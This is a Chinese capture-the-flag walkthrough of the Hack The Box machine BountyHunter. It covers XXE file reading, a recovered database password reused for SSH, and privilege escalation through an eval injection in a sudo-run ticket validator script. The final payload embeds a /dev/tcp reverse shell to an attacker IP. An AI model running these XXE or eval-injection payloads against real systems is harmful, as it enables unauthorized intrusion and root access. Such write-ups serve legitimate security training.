HTB-Machines-BountyHunter
文章目录
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/0a84b620afa1dca89dd6f14ae3c5a477.png#pic_center)
0x01 信息收集
1.1 端口嗅探
使用Nmap对10.129.251.221进行端口嗅探,服务器开放80端口和22端口,常规思路①爆破22端口②对80端口的页面进行目录扫描。
1.2 目录扫描
使用Dirsearch对http://10.129.251.221/进行目录扫描,并逐一访问页面,在有人机交互的功能点进行尝试交互,同时使用Burpsuite抓取流量,以便之后分析。
http://10.129.251.221/
http://10.129.251.221/log_submit.php
http://10.129.251.221/index.php/login/
http://10.129.251.221/resources/
http://10.129.251.221/db.php
1.3 端口爆破
好久都没爆破完,且根据以往经验,弱口令字典对于HTB几乎毫无意义。
信息收集阶段总结:SSH爆破基本放弃,只能在众多的链接中查找突破口,重要考虑对象为首页的concact(http://10.129.251.221/)、Bounty Report System - Beta(http://10.129.251.221/log_submit.php)、资源代码(http://10.129.251.221/resources/)。
0x02 打点立足
2.1 分析数据包
分析Burpsuite抓取的数据包,仅存在一条交互数据,且数据加密,选取加密字段,显示为XML格式。
2.2 XML实体注入
2.2.1 猜测存在XML模板注入,尝试进行XML实体注入读取文件,更改XML信息尝试获取/etc/passwd
2.2.2 更改XML信息尝试获取http://10.129.251.221/db.php数据库信息,根据使用Apache服务器和db.php处于根目录,猜测位置为/var/www/html/db.php,这里直接用php协议未能返回信息成功,使用php://filter/convert.base64-encode/resource=返回信息成功。
解密信息如下:
dbserver = "localhost";
dbname = "bounty";
dbusername = "admin";
dbpassword = "m19RoAU0hP41A1sTsq6K";
testuser = "test";
2.3 获取user.txt
虽然拿到了数据库信息,但是服务器未开放3306等数据库相关接口,尝试使用数据库密码登录SSH,分析2.2.1中获取到的用户列表,发现仅存在root、development两个账户,分别尝试登录,发现development账户登录成功。
在development用户目录下,获取到user.txt。
0x03 权限提升
使用sudo -l命令查看,发现存在ticketValidator.py文件可以sudo免密执行。
分析ticketValidator.py文件
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit() #加载的文件需要为md格式
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"): #第一行需要以"# Skytrain Inc"开头
return False
continue
if i == 1:
if not x.startswith("## Ticket to "): #第二行需要以"## Ticket to"开头
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"): #查找以"__Ticket Code:__"开头的行数
code_line = i+1
continue
if code_line and i == code_1ine:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0] #需要"**"开头,和"+"之间有字段A
if int(ticketCode) % 7 == 4: #字段A转换为10进制
validationNumber = eval(x.replace("**", "")) #执行语句(eval() 函数用来执行一个字符串表达式,并返回表达式的值。)
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
总而言之就是需要
python3.8 /opt/skytrain_inc/ticketValidator.py xx.md
其中md文件中需满足:
# Skytrain Inc
## Ticket to
__Ticket Code:__
**704+123111>=__import__('subprocess').call("echo 'sh -i >& /dev/tcp/10.10.14.5/1111 0>&1'>x && bash x && rm -rf x",shell=True)
创建1.md文件
使用sudo执行ticketValidator.py文件
监听端获取root权限shell
获取root.txt
0x04 参考链接
4.1 XXE漏洞详解(XML外部实体注入)(https://blog.csdn.net/qq_36119192/article/details/84993356)
4.2 挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用(https://www.freebuf.com/vuls/211822.html)